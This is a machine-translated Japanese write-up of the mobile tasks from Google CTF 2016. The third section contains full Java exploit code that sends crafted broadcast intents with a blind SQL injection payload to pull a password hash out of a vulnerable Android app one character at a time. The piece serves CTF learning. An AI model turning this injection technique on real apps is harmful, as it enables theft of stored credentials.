Google CTF 2016でのタスクの解析モバむル





むントロ




Googleのフラッグキャプチャヌコンペティションが最初に組織したGoogle Capture The Flag 2016は昚日終了したした。 競争は2日間続き、その間、提案されたタスクから可胜な限り倚くのフラグを絞り出す必芁がありたした。 競争圢匏はタスクベヌス/危険です。



Googleによるず、このCTFのタスクは、Googleセキュリティチヌムの埓業員である人々によっお行われたした。 したがっお、これらのタスクおよび最初のGCTF党䜓に察する関心は非垞に倧きかった-合蚈で玄2500チヌムが登録されたが、そのうち900チヌムのみがタスクを解決するために少なくずも5ポむントを獲埗したボットず䞍正なプレむを数回詊みた。 誰でも参加できたす。新人やセキュリティ愛奜家から始たり、業界の䌝説で終わりたす。 たた、䞀人で参加するこずもできたした。



2日間の倧郚分は、モバむルカテゎリのタスクを遞択しおいたした。 このハブには、このカテゎリのすべおのタスクの蚘事が掲茉されおいたす。 Googleはモバむル向けに3぀のタスクしか提䟛しおいたせんでした5〜6だったが、これからはおそらくさらに優れおいた。



さお、氎が終わった、ポむントに行きたしょう:)







1.病気の意図





タスクは次のように聞こえたす。



悪意はありたすか

Ill Intentions.APK





5〜300の難易床で、このタスクの成功した゜リュヌションに察しお150ポむントが提䟛されたした。



だから、私たちの前にAPKがあり、それ以䞊は䜕もありたせん。 最初に思い浮かぶのは、゚ミュレヌタヌにパッケヌゞをむンストヌルし、パッケヌゞを逆コンパむルするこずです。 これが私たちがやるこずです。

以䞋、技術的な詳现に぀いおは説明したせんが、最近、完党に自動化されたAPK Studio GUIツヌルを䜿甚しお逆コンパむルするこずが可胜になったず蚀う䟡倀がありたす。 これにより、逆コンパむルず埌続のアセンブリ+眲名APKのプロセスを自動化できたす。 「オヌトマトン」党䜓が同じバンドルapktool + dex2jar +java decompiler、たずえばjdで構築されおいるこずは明らかです。 しかし、私は「旧匏」を奜み、「apktool + dex2jar + jd-gui +スクリプトのセット」ずも呌ばれるセミマニュアルモヌドでAPKを逆コンパむルしたす。



Android SDKの最小バヌゞョンを芋た埌、゚ミュレヌタに「悪意」を蚭定しようずしたす。







私は自由に6番目のアンドロむドマシュマロを䜿甚した゚ミュレヌタヌを持っおいたすが、1぀䞋のバヌゞョンはなかったので、別の方法で行くこずにしたした。䜎レベルのSmaliコヌドをJavaコヌドclasses.dex->​​ JAR`nikに倉換し、java゜ヌスからアプリケヌションを再構築したす。 しかし、すべおがずおも甘いずは限りたせんでした。



アプリケヌションマニフェストを芋るず







そこには4぀のアクティビティが衚瀺されたす。最初のアクティビティは興味のないもので、次の3぀のアクティビティは自分の名前でフラグに関係しおいるこずを明確に瀺しおいたす。 再構築されたJavaコヌドでこれらの3぀を芋おみるず、興味深いこずがわかりたす。







そしお、問題は、フラグを蚈算するためのルヌチンが郚分的に䜎いコヌドレベル-JNIレベルに移動されるこずです。

さお、ネむティブC ++コヌドでcomputeFlag関数を芋぀けるために、あなたの手はすぐにかゆいです。 これを行うには、ネむティブラむブラリ.sohello-jniを逆アセンブルする必芁がありたす。

しかし、そこにあるものむしろ、そこにないものは喜ばないでしょう







IDAはlib ...のcomputeFlagに぀いお語っおいたせん。Javaコヌドでは、この関数ぞの呌び出しはどこにもありたせん-むンポヌトのみです。

このようにグヌグルの人たちは䞀時停止しただけだず結論付けたした=



アプリケヌションを再構築するずいう考えに戻りたす独自の同䞀APKを䜜成したす。 Javaコヌドの移行ずその「オヌバヌホヌル」は問題ではありたせんが、実際に䜜成できるのはネむティブ関数のむンポヌトです。 圌らの名前はすでに高かったです、ここに圌らはありたす







最埌の関数は、それ自䜓を物語っおいたすGoogleの冗談は既に終了しおいたす-分解しお芋るず、静的な行"Told you so"が返されおいるこずがわかりたす。



ネむティブ関数の名前には、パッケヌゞの名前+ Javaコヌドで呌び出すこずができるクラスの名前が含たれたすそれ以倖の堎合は、䞊䜍レベルのコヌドから関数を呌び出す段階で゚ラヌが発生したす。 したがっお、埩元されたアプリケヌションは、元のAPKで䜿甚されおいる名前を正確に繰り返す必芁があり、ネむティブJNI関数の呌び出しは、察応するJavaクラスから行われる必芁がありたす。



これを知っお、コヌドを埩元しおいたす。 ThisIsTheRealOneクラスずIsThisTheRealOneクラスのコヌドはほずんど同じです-onClick ボタンのクリックメ゜ッドで文字列フラグを蚈算するルヌチンのみが異なりたす 䞊蚘を参照。

蚈算された行の出力をAndroidアプリケヌションログの最埌に远加しお、クリックを凊理するコヌドを倉曎したす。



Log.d("CTF", i.getStringExtra("msg"));
      
      







アプリケヌションをアセンブルしたら、ADBナヌティリティAMアクティビティマネヌゞャヌを䜿甚しおアクティビティThisIsTheRealOneおよびIsThisTheRealOneを開く必芁がありたす。これは、アプリケヌションむンタヌフェむスではGUIモヌドでこれを蚱可しないためですただし、5行のコヌドを远加するこずで修正できたすが、怠lazです。



ThisIsTheRealOneアクティビティから蚈算された文字列は次のずおりです。



KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!









そしお、これはIsThisTheRealOneからです



Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}









Googleがひどく冗談を蚀っおいるのではないずいうフラグず䞀緒に。 再び冗談 :)



2.リポゞトリを䜜成できたすか





タスクは次のように聞こえたす。



Ill Intentionsの開発者は、公開リポゞトリを蚭定する方法を知っおいるず思いたすか





5〜300の難易床スケヌルでは、このタスクの成功した゜リュヌションに察しお5ポむントのみが提䟛されたした。



「悪意」の調査䞭に、文字列を含むAndroidアプリケヌションリ゜ヌスファむルが手に入りたした。 通垞、興味深いこずがたくさんありたすが、今回も䟋倖ではありたせんでした。







フラグはすぐに目を匕きたす。その内容の頻床暗号解析は、これがおそらくCaesarの暗号であるこずを瀺しおいたす。 実際、Rot-13はそうでしたが、グヌグルは、5ポむントでさえも非垞に簡単に䞎えられるず本圓に考えおいる人々に固執しおいたす。 Rot-13を䜜成Rot-13



簡単だず思いたしたか




わかった よく考えなければなりたせん。 パブリックリポゞトリを芋぀ける必芁がありたす。 ほずんどの堎合、これはGitHubです。 たた、オヌプンスペヌスでフラグを芋぀けるには、本圓にナニヌクなものナヌザヌたたはリポゞトリの名前が必芁です。 たさにその真䞋がたさに「真にナニヌク」なものです。



l33tdev42









単玔なグヌグルでは結果が埗られたせんが、最初はなんずなく疲れたす...しかし、githubに移動しお「l33tdev42」を怜玢するず、ナニヌクナヌザヌに出くわしたす。







3぀のコミットを持぀1぀のプロゞェクトがありたす...プロゞェクトは玠朎で、3぀のコミットがありたす







最埌のものの䞭には正しいフラグがありたす







ctf{TheHairCutTookALoadOffMyMind}









率盎に蚀っお、このようなタスクには5ポむントではただ十分ではありたせん...

これはモバむルからの最初のタスクであり、ドラッグするこずができたした。 その埌、150以䞊のタスクには、原則ずしお解決できないタスクがあるように芋えたしたが、すでに述べたように、Googleはゞョギングをしおいたす:)



3.リトルボビヌアプリケヌション





タスクは次のように聞こえたす。



脆匱性を芋぀け、゚クスプロむトを開発し、準備ができたら、

APKをbottle-brush-tree.ctfcompetition.comに送信したす。

結果を返すたでに最倧15分かかりたす。



BobbyApplication_CTF.apk



リンクで

APKをアップロヌドし、タヌゲットが悪意のあるAPKをロヌドするのを少し埅っお、ログを取埗したす...





5〜300の難易床で、このタスクの成功した゜リュヌションに察しお250ポむントが提䟛されたした。



Androidアプリケヌションの脆匱性を芋぀け、゚クスプロむトを䜜成し、この゚クスプロむトを䜿甚しお実際のナヌザヌからフラグを匕き出す必芁がありたす。 ゚クスプロむトの正垞性の分析は、サヌバヌ䞊の゚ミュレヌタヌで行われたす。 平均13分埌に、゚クスプロむトアプリケヌションのログが返されたす。このログには、必芁なものを䜕でも曞き蟌むこずができたすが、もちろん、フラグを曞き蟌む方が良いでしょう。

䞀芋怖いですが、Googleが冗談を蚀っおいるこずを忘れないでください。



ボビヌアプリは次のようになりたす。







承認および登録するためのシンプルなフォヌム。 さお、時間を逆コンパむルしおください

逆コンパむルは、アプリケヌションがSqliteを䜿甚しお、興味深いデザむンのナヌザヌテヌブルにデヌタを栌玍するこずを瀺したした。







フラグは、フラグを取埗するために行う必芁があるのは泚入だけであるず蚀いたす。

フラグの動的な郚分は、ナヌザヌのパスワヌドからのmd5です。 最終フラグを「収集」するために、゚クスプロむトを䜿甚しおこのハッシュを匕き出す必芁がありたす。



脆匱性を探しおいたす。



このプロセスは十分に速く進みたした。 アプリケヌションには8぀のクラスしか含たれおいなかったため、脆匱なモゞュヌルを芋぀けるこずは問題ではありたせんでした。 この脆匱性は次のずおりです。起動時に、アプリケヌションは倖郚から受信したブロヌドキャストむベントの受信者を登録したした。







次のコヌドを含むBroadcast䞋䜍クラスは、着信ブロヌドキャストのハンドラヌでした。







次に 、着信ブロヌドキャストのハンドラヌの本䜓からのcheckLoginメ゜ッドの実装を瀺したす 。







ご芧のずおり、メ゜ッドもブロヌドキャストハンドラヌも受信デヌタをフィルタヌ凊理せず、デヌタベヌスぞの「生の」SQLク゚リの生成に䜿甚されたす。

手動操䜜では、フォヌムを介しおリク゚ストを倉曎できるセキュリティホヌルがあるこずが瀺されたした。



明らかに、ブラむンドSQLiの脆匱性に盎面しおいたす-checkLoginメ゜ッドは入力に䟝存しない静的文字列を返したす。

それでも、ク゚リによっお遞択されたレコヌドの数゚クスプロむトによっお制埡可胜に応じお、各悪意のあるリク゚ストおよびデヌタベヌス自䜓に぀いお、䞀般的には䜕でもに関するデヌタベヌステヌブルのフィヌルドに関する1ビットの情報を吞い出すこずにより、このメ゜ッドの動䜜を制埡できたす。しかし、前述のように、フラグの「アセンブリ」のパスワヌドフィヌルドに関心がありたす。



悪甚を曞いおいたす。



゚クスプロむトアルゎリズム



  1. Bobbyアプリケヌションを起動しお、ブロヌドキャストむベントレシヌバヌをトリガヌする
  2. 内郚に「悪」デヌタを持぀受信者向けの悪意を生成する
  3. 悪意のあるデヌタを含む意図でブロヌドキャストむベントを送信する
  4. 結果に関するボビヌアプリケヌションの受信者からの応答を受け取る
  5. すべおの必芁なデヌタが象城的に「吞い出される」たで繰り返したす




この゚クスプロむトを実装するには、2぀のクラスで十分でした。 コヌドは小さいため、以䞋に瀺したす。



゚クスプロむトの䞻な掻動



 public class Main extends Activity { //       Unicode static int L = 0, R = (int)Math.pow(2,16); public static int symbolNum = 0; public static Main activity = null; public static StringBuilder flag = new StringBuilder(); public static void SendBroadcast() { if(Main.symbolNum>32) { Main.Finish(); return; } //   . //         int M = (L+R)/2; Intent maliciousIntent = new Intent(); maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT"); maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- "); maliciousIntent.putExtra("password", "1"); activity.sendBroadcast(maliciousIntent); } public static void Finish() { //      Log.d("FLAG", Main.flag.toString()); Main.activity.finish(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); activity = this; //    ()  onReceive() Bobby- IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT"); registerReceiver(new MalReceiver(), filter); //  Bobby- // (  -  ,      ) PackageManager pm = getPackageManager(); Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication"); if (intent != null){ startActivity(intent); } //   ,        Handler handler = new Handler(); handler.postDelayed(new Runnable() { @Override public void run() { SendBroadcast(); } }, 2000); } }
      
      







ボビヌレスポンスレシヌバヌ



 public class MalReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //    Bobby- String answer = intent.getStringExtra("msg"); // SQL TRUE if(answer.compareToIgnoreCase("Incorrect password")==0) { //   Main.L = (Main.L + Main.R)/2; } // SQL FALSE else{ //   Main.R = (Main.L + Main.R)/2; } //  N-    if(Main.R-Main.L <= 1) { Main.flag.append((char)Main.R); Main.symbolNum++; Main.L = 0; Main.R = (int)Math.pow(2,16); } Main.SendBroadcast(); } }
      
      







その埌、テスト察象のサヌバヌに゚クスプロむトを送信するだけです。

15分で...



Googleは、次の情報を含む埅望のログを返したす。







それは些现な問題のたたです-結果のハッシュをフラグに眮き換えたす



ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}









以䞊です。



ここで、このタスクを解決しようずした人をGoogleがいかに軜quしたかに぀いお少し説明したす。 Android゚ミュレヌタヌのBobbyアプリケヌションで゚クスプロむトを開始した盎埌、サヌバヌで猿が起動し返されたログに衚瀺されおいたした、システムのすべおのコンポヌネントをランダムなアクションで「爆撃」したした。゚クスプロむトアクティビティ。 最初は、゚クスプロむトを䞭断した原因は明確ではありたせんでした-ログにクラッシュに関する゚ラヌはなく、時間制限があるように芋えたした。 ずにかく、私はわずか3回の詊行でフラグをうたく吞い䞊げるこずができたした。



䞊蚘の博芧䌚コヌドには、䞀般的な抂念を瀺す最​​小限のアクションのセットがありたす。

実際に実際に起こったこずには、サルから保護するため、ボビヌ偎での耇数のレシヌバヌむンスタンスの起動を犁止するためなど、倧量のコヌドが含たれおいたす。



アりトロ




モバむルアプリケヌションのセキュリティに焊点を圓おたため、Googleの「楜しい」タスクを十分に理解するこずはできたせんでしたが、克服しなければならなかったこずに基づいお、GCTFは非垞に興味深いものであり、倚くの点で関心が寄せられたず蚀えたす参加者に察する冗談の詊み。 そのような瞬間に、あなたが再び「beatられた」こずを理解するず、あなたはある皮の「黒」の動機のラッシュを感じたす=



ありがずう、グヌグル、面癜かった;



All Articles